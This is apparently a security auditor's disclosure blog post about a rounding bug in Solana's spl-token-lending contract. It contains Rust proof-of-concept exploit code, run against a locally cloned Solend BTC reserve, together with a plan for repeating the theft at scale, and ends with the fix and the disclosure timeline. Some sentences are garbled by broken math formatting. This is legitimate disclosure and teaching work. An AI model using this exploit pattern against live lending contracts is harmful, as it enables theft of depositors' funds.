How to Become a Millionaire, 0.000001 BTC at a Time

TL;DR

We recently discovered a critical bug in the token-lending contract of the Solana Program Library (SPL). This blog post details our journey from discovery, through exploitation and coordinated disclosure, and finally the fix. The total TVL at risk was about 2.600.000.000 USD. Some low-value coins are not economically viable to steal, but the potential profit was easily in the hundreds of millions. The bug was fixed, and dapps updated promptly to close the vulnerability.

We believe the most secure code is open-source, and as auditors we believe one of the best ways to write better code is to understand vulnerabilities. As such, we’ve written up a dive into how this vulnerability could have been exploited, and how we found it.

We’d also like to thank the guys at Larix, Solana Labs, Solend and Tulip for their fast response time in verifying and fixing the bug.

Step 1: Discovery

A couple months back, Simon, one of our auditors, noted a bug in spl-token-lending for which he created an issue, that still had not been fixed. There even was a draft pull request, but that was never merged. This is likely because the bug looks innocuous at first glance. But is it? Let’s take a closer look.

In order to understand this bug, first some general notes about spl-token-lending:

One can exchange tokens in order to get ctokens. These can now be deposited to be available as collateral for borrowing other types of tokens.
One can also exchange their ctokens back to tokens. This is usually done when collateral is withdrawn from the contract.

Since collateral appreciates in value, this exchange ratio is not just a simple 1-to-1 ratio, but rather a rational number that might change over time. Let’s break this down in an example:

Alice deposits 2 SOL at an exchange rate of 1.5, and receives $2 \cdot 1.5 = 3$ cSOL
After some years of HODLing, Solana has reached Mars and Alice wishes to cash out her SOL that have appreciated in value in order to buy a couple of private islands. She withdraws the 3 cSOL and exchanges them at an exchange rate of 0.5, and receives $3/0.5 = 6$ SOL.

So far, so good. But what happens when we don’t have numbers that have been invented by a lazy computer scientist? As it turns out: the contract rounds them to the nearest integer. But obviously, we don’t get gifted $100 when we exchange an amount of ctokens that would yield 2.5 SOL. In Solana, every spl-token Mint has to specify how many decimals the token has, which defines the smallest denomination of this token. For example, wrapped SOL has 9 decimals:

This means the smallest denomination of wrapped SOL is actually 0.000000001 SOL, which is also called a Lamport. So if we were to exchange an amount of cSOL that yields 1.5 Lamports, we actually receive 2. But at the same time, if that amount of cSOL would exchange for 1.4 Lamports, we only receive 1. On average, this should create as much value as it destroys.

However, for a given exchange ratio, it is not difficult to find an input $n$ such that both operations will round up when we first deposit the funds and withdraw them straight away. When that happens and we input $n$ Lamports, we will be left with $n + 1$ , having just stolen 1 Lamport from the pool.

Now why wasn’t there a big effort to fix the bug that we reported? On the face of it this bug seems completely irrelevant (which, to the developers defense, we thought as well): 1 Lamport is only worth about $0.000000220 as of the time of this writing, and whoever exploits this will have paid 5000 times as much for the transaction fee.

But not every coin that can be deposited to lending dApps that build on spl-token-lending has 9 decimals, and not every coin has the same value. Obviously, the efficacy of this exploit depends on both these things. Let’s take a look at all tokens listed on Solend, which is one of these dApps:

Token	Decimals	Approximate Value per Token	Smallest Denomination Value / Fee per Transaction
SOL	9	$220	1/5000
USDC	6	$1	1/1100
USDT	6	$1	1/1100
ETH	6	$4500	4
BTC	6	$56000	50
mSOL	9	$230	1/4800
SRM	6	$5	1/220
FTT	6	$50	1/22
RAY	6	$10	1/110
SBR	6	$0.10	1/11000
MER	6	$0.25	1/4400

The rightmost column of this table shows the ratio between the amount we can gain by exploiting this bug once and the amount of fees we pay per transaction. Just with this naive calculation, we can already see that this is profitable for ETH and BTC.

But this seems still kind of bad; we only gain $0.05 w or t h o f BTC an d$ 0.005 worth of ETH per execution. However, there are a couple of things we can do to make this better:

on Solana, a transaction can contain multiple Instructions, only limited by the 1232 maximum UDP packet size, allowing us to execute multiple instructions in each transaction
as of the time of writing, each instruction has its own 200k compute budget. We can deploy a program that executes the exploit multiple times until the compute limit is reached, allowing us to execute this exploit multiple times per instruction

In total, we are left with about 150-200 executions of this exploit per transaction. This amounts to $7.50 p er t r an s a c t i o nin t h ec a seo f BTC . N o ww e^{'} re t a l kin g! W ec an g e tt hi s t r an s a c t i o nin c l u d e d ab o u t 300 t im es p erseco n d, s t e a l in g$ 7500 per second or about $27 million an hour (that is one Lamborghini Huracan every minute). And as a cherry on top, with this improvement, the exploit becomes profitable for FTT and RAY as well.

Step 2: Exploitation

We like to make sure that the bugs we report are actually exploitable before we report them. For this purpose, we created a framework for writing proof-of-concept exploits. We start by retrieving and cloning the on-chain state, as well as creating some accounts with funds for us to use:

// clone state with BTC reserve from cluster

let solend_program_key =
    Pubkey::from_str("So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo").unwrap();
let lending_market_key =
    Pubkey::from_str("4UpD2fh7xH3VP9QQaXtsS1YY3bxzWhtfpks7FatyKvdY").unwrap();
// BTC reserve
let reserve_key = Pubkey::from_str("GYzjMCXTDue12eUGKKWAqtF5jcBYNmewr6Db6LaguEaX").unwrap();

let data = mainnet_client.get_account(&reserve_key).unwrap().data;

let reserve = Reserve::unpack(&data).unwrap();

// accounts we will use
let attacker = keypair(0);
let obligation = keypair(1);
let liquidity_ata =
    get_associated_token_address(&attacker.pubkey(), &reserve.liquidity.mint_pubkey);
let collateral_ata =
    get_associated_token_address(&attacker.pubkey(), &reserve.collateral.mint_pubkey);

let mut env = LocalEnvironment::builder()
    // clone Solend program and state
    .clone_upgradable_program_from_cluster(&mainnet_client, solend_program_key)
    .clone_accounts_from_cluster(
        &[
            lending_market_key,
            reserve_key,
            reserve.collateral.mint_pubkey,
            reserve.collateral.supply_pubkey,
            reserve.liquidity.mint_pubkey,
            reserve.liquidity.supply_pubkey,
            reserve.liquidity.pyth_oracle_pubkey,
            reserve.liquidity.switchboard_oracle_pubkey,
            reserve.config.fee_receiver,
        ],
        &mainnet_client,
    )
    // give us some SOL to work with
    .add_account_with_lamports(
        attacker.pubkey(),
        system_program::ID,
        sol_to_lamports(100.0),
    )
    // and some BTC
    .add_associated_account_with_tokens(
        attacker.pubkey(),
        reserve.liquidity.mint_pubkey,
        10_000_000,
    )
    // initialize empty collateral account
    .add_associated_account_with_tokens(attacker.pubkey(), reserve.collateral.mint_pubkey, 0)
    .build();

We also have to fix the clock, as lending contracts use this to calculate interest:

let clock = mainnet_client.get_account(&clock::ID).unwrap();
env.bank.store_account(&clock::ID, &clock.into());

Next, we have to create an obligation to which we will deposit and withdraw BTC:

// create obligation
env.create_account_rent_excempt(&obligation, Obligation::LEN, solend_program_key);
env.execute_as_transaction(
    &[spl_token_lending::instruction::init_obligation(
        solend_program_key,
        obligation.pubkey(),
        lending_market_key,
        attacker.pubkey(),
    )],
    &[&attacker],
);

In spl-token-lending, reserves have to be refreshed before almost every operation, so we do that and fetch the reserve again, as its state might have changed:

// refresh reserve
env.execute_as_transaction(
    &[
        spl_token_lending::instruction::refresh_reserve(
            solend_program_key,
            reserve_key,
            reserve.liquidity.oracle_pubkey,
        ),
        spl_token_lending::instruction::refresh_obligation(
            solend_program_key,
            obligation.pubkey(),
            vec![],
        ),
    ],
    &[],
);
let reserve: Reserve = env.get_unpacked_account(reserve_key).unwrap();

Now we’re ready to perform the exploit: in true computer science fashion we don’t bother doing anything smart and just bruteforce an input with which we will be able to take out more than we have put in:

// compute amounts where rounding leads to free money
let mut i = 0;
let (input, collateral_amount, output) = loop {
    let mut r = reserve.clone();
    let collateral_amount = r.deposit_liquidity(i).unwrap();
    let output = r.redeem_collateral(collateral_amount).unwrap();
    if output > i {
        break (i, collateral_amount, output);
    }
    i += 1;
};

Now we just have to execute the exploit and put some logging around it, to verify we actually stole money:


println!(
    "Amount before: {} BTC",
    env.get_unpacked_account::<SplAccount>(liquidity_ata)
        .unwrap()
        .amount as f64
        / 1_000_000.0
);
println!("Using {} BTC", input as f64 / 1_000_000.0);

// deposit and withdraw btc
env.execute_as_transaction(
    &[
        // deposit
        spl_token_lending::instruction::deposit_reserve_liquidity(
            solend_program_key,
            input,
            liquidity_ata,
            collateral_ata,
            reserve_key,
            reserve.liquidity.supply_pubkey,
            reserve.collateral.mint_pubkey,
            lending_market_key,
            attacker.pubkey(),
        ),
        // refresh again
        spl_token_lending::instruction::refresh_reserve(
            solend_program_key,
            reserve_key,
            reserve.liquidity.pyth_oracle_pubkey,
            reserve.liquidity.switchboard_oracle_pubkey,
        ),
        spl_token_lending::instruction::refresh_obligation(
            solend_program_key,
            obligation.pubkey(),
            vec![],
        ),
        // withdraw
        spl_token_lending::instruction::redeem_reserve_collateral(
            solend_program_key,
            collateral_amount,
            collateral_ata,
            liquidity_ata,
            reserve_key,
            reserve.collateral.mint_pubkey,
            reserve.liquidity.supply_pubkey,
            lending_market_key,
            attacker.pubkey(),
        ),
    ],
    &[&attacker],
);

println!(
    "Amount after: {} BTC",
    env.get_unpacked_account::<SplAccount>(liquidity_ata)
        .unwrap()
        .amount as f64
        / 1_000_000.0
);

We execute this, and look at that, we stole 0.000001 BTC (on our own local copy of the state of course):

Loading upgradable program So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo from cluster
Loading account DMCvGv1fS5rMcAvEDPDDBawPqbDRSzJh2Bo6qXCmgJkR from cluster
Loading account 4UpD2fh7xH3VP9QQaXtsS1YY3bxzWhtfpks7FatyKvdY from cluster
Loading account GYzjMCXTDue12eUGKKWAqtF5jcBYNmewr6Db6LaguEaX from cluster
Loading account Gqu3TFmJXfnfSX84kqbZ5u9JjSBVoesaHjfTsaPjRSnZ from cluster
Loading account 9HrQ9RuRsHjKXuAbZzMHMrYuyq62LjY3B7EBWkM4Uyke from cluster
Loading account 9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E from cluster
Loading account 4jkyJVWQm8NUkiJFJQx6ZJQhfKLGpeZsNrXoT4bAPrRv from cluster
Loading account GVXRSBjFk6e6J3NbVPXohDJetcTjaeeuykUpbQF8UoMU from cluster
Loading account 74YzQPGUT9VnjrBz8MuyDLKgKpbDqGot5xZJvTtMi6Ng from cluster
Loading account 9CjhBpwiQbP2zYnj7PqHTxPPp2BCR4Y4rP4ZPWkqrCQk from cluster
Amount before: 10 BTC
Using 0.328 BTC
Amount after: 10.000001 BTC

Step 3: How You Can Fix This

The open pull request that addressed our issue replaced all round operations by floor operations. This prevents the amount of tokens you get out from being greater than the amount of tokens you put in, unless the ctoken appreciates, and in that case it’s intended.

Step 4: Affected Projects

Alright, now we have an exploitable vulnerability in SPL token-lending. But this contract is not used by anyone directly! Instead, it is forked by a number of projects, who have used it as a base to build their own service on top of. The one we immediately knew of was Solend, since it is open source, and we had looked at it before. So we reported the bug both to the Solana Foundation and to Solend.

We asked some people, but no one really seems to be sure who forked of token-lending, and who built a custom lending market. Apart from Solend, the markets are closed-source, so we cannot verify via the code if somebody is vulnerable. We have to dig deeper.

We quickly threw together some basic tooling for analyzing all on-chain contracts and find some contracts that are both similar to spl-token-lending, and have been active in the last few days. All information needed for this is available via RPC.

The analysis resulted in the following list of potential victims:

7Zb1bGi32pfsrBkzWdqd4dFhUXwp5Nybr1zuaEwN34hy
4bcFeLv4nydFrsZqV5CgwCVrPhkQKsXtzfy2KyMz7ozM
Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR 
So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo 
Soda111Jv27so2PRBd6ofRptC6dKxosdN5ByFhCcR3V 
C64kTdg1Hzv5KoQmZrQRcm2Qz7PkxtFBgw7EpFhvYn8W

Now we have addresses of potentially vulnerable contracts and ask ourselves: How to reach them? Some of the keys are easy. They are vanity addresses that include the project’s name at the beginning, like Port, Solend, and Soda. The others are more difficult.

We tried to use Google to find all public lending markets on Solana, but their website and docs often do not list the used program addresses :/ This means we have to deposit and withdraw some money with the project and then look at the transactions that were made.

In parallel, we used some more Google-Fu, and identified Larix, Tulip and Acumen. We used resources like this GitHub Issue, opened by one of the Tulip devs, that contains the Tulip pubkey.

Larix  7Zb1bGi32pfsrBkzWdqd4dFhUXwp5Nybr1zuaEwN34hy
Tulip  4bcFeLv4nydFrsZqV5CgwCVrPhkQKsXtzfy2KyMz7ozM 
Port   Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR  
Solend So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo  
Soda   Soda111Jv27so2PRBd6ofRptC6dKxosdN5ByFhCcR3V 
Acumen C64kTdg1Hzv5KoQmZrQRcm2Qz7PkxtFBgw7EpFhvYn8W

In total, we identified 8 lending projects, 6 of which were potential SPL forks:

Definite forks: Solend (open source)
Potential forks: Tulip, Larix, Port, Acumen (turned out wrong), Soda (turned out wrong)
Likely not a fork: Jet, Apricot (two other popular lending markets)

Step 6: Contacting the Projects

Now with the project names in hand, we had to reach the developers. Official security-reporting procedures were provided by Solend, Larix and Port.

We had prior contact with Solend and Port. Solend responded after being contacted on Twitter, Port responded in one of our private channels, and Larix was contacted via the email provided in their bug-bounty.

The other projects were more challenging to reach. But they all provide links to their respective communities on their websites. We thus joined their Telegram and Discord Servers, and started DMing their admins. At this point, Discord decided we were suspicious and forced us to do a mobile verification :D Timezones made this process hard, especially since we do not know in which timezone the developers live.

Our guess about Soda and Acumen turned out to be wrong; they have not forked token-lending after all. Port had caught the issue early and had partially applied the draft pull request that fixed it months ago.

Solend, Tulip and Larix quickly fixed the issue after they learned about it.

Step 7: Takeaways

The SPL token-lending repository is public for quite some time. Neodyme has reviewed it before, and two projects using it have also been audited independently: Solend by Kudelski and Larix by Slowmist.

The issue was open and public since 5th of June 2021. Back then, it was likely dismissed by everyone as “oh no, stealing one token, that’s not gonna be economically viable because of transaction fees”.

But the simple fact that one Bitcoin is worth a lot, and that the Sollet bridge only uses 6 decimals, means that one token of BTC costs about 5ct. It is not obvious that such a coin exists when reviewing code, especially not when it is not already in use. That’s why we opened the issue publicly back then, and probably also why the fix in the pull request was never merged.

Even the loss of a single token due to a seemingly innocuous rounding error should be treated as a critical vulnerability, since you never know how much one of these tokens will be worth in the future.

The attack would have taken several days, so it might have been interrupted when it is noticed. But it is really hard to notice, and we are not sure anyone has sufficient monitoring, especially when the attack is carried out slowly and carefully. If the attack is carried out slowly enough, this could only be noticed as a reduction in APY and probably wouldn’t have triggered any alarm bells.

It took almost exactly two days from the time we realized the issue was still open to the time all projects were fixed. It took about one day for us to verify that the issue is still present and actually exploitable. The other day was spent finding and contacting vulnerable projects. Once we were in contact with a dev, the issue was always verified and fixed within a couple of hours.

If you are a dev of a high-value contract, we recommend you get yourself added to the Known Keys List of the Solana Explorer. That way anyone can easily look up how your contract is called, and is only a Google search away from your website. Further, we recommend you provide a reporting procedure for security-critical bugs. That way, we will be able to reach you faster, should we find something in your code.

Timeline (all times in CET)

01.12.2021, 13:30 - We start looking into Solend
01.12.2021, 15:00 - Simon notices his issue from June is still open. We are not sure if this is actually exploitable, or how much money we could get out.
01.12.2021, 16:00 - We think we will be able to steal one minimum-denomination coin per call. For BTC this would be hundreds of millions per day. The issue is not being actively exploited. We are not 100% sure, and to avoid unnecessary worry on the devs part, we start writing a proof-of-concept.
02.12.2021, 13:00 - We have a working proof-of-concept exploit that works against a local copy of Solend.
02.12.2021, 13:01 - We start running a coordinated disclosure
02.12.2021, 13:02 - Solana Foundation devs are notified of the issue
02.12.2021, 13:03 - Solend is notified of the issue. We start looking for other forks
02.12.2021, 13:04 - Port is notified of the issue
02.12.2021, 13:13 - Port is not vulnerable
02.12.2021, 15:31 - Solend responds and verifies the bug
02.12.2021, 17:45 - Solend has fixed the bug
02.12.2021, 19:00 - We have a list of forks, and start contacting all devs
02.12.2021, 19:50 - Tulip has been reached, and is investigating
02.12.2021, 22:40 - Tulip has fixed the bug
03.12.2021, 00:10 - Acumen has been reached, and is investigating
03.12.2021, 01:10 - Acumen is not vulnerable
03.12.2021, 02:10 - Soda has been reached, and is investigating
03.12.2021, 03:00 - Soda is not vulnerable
03.12.2021, 13:00 - Larix has been reached, and is investigating
03.12.2021, 15:30 - Larix has fixed the bug
03.12.2021, 15:30 - All known high-value targets have been fixed
04.12.2021, 00:10 - Fix has been merged upstream

TL;DR¶

Step 1: Discovery¶

Step 2: Exploitation¶

Step 3: How You Can Fix This¶

Step 4: Affected Projects¶

Step 6: Contacting the Projects¶

Step 7: Takeaways¶

Timeline (all times in CET)¶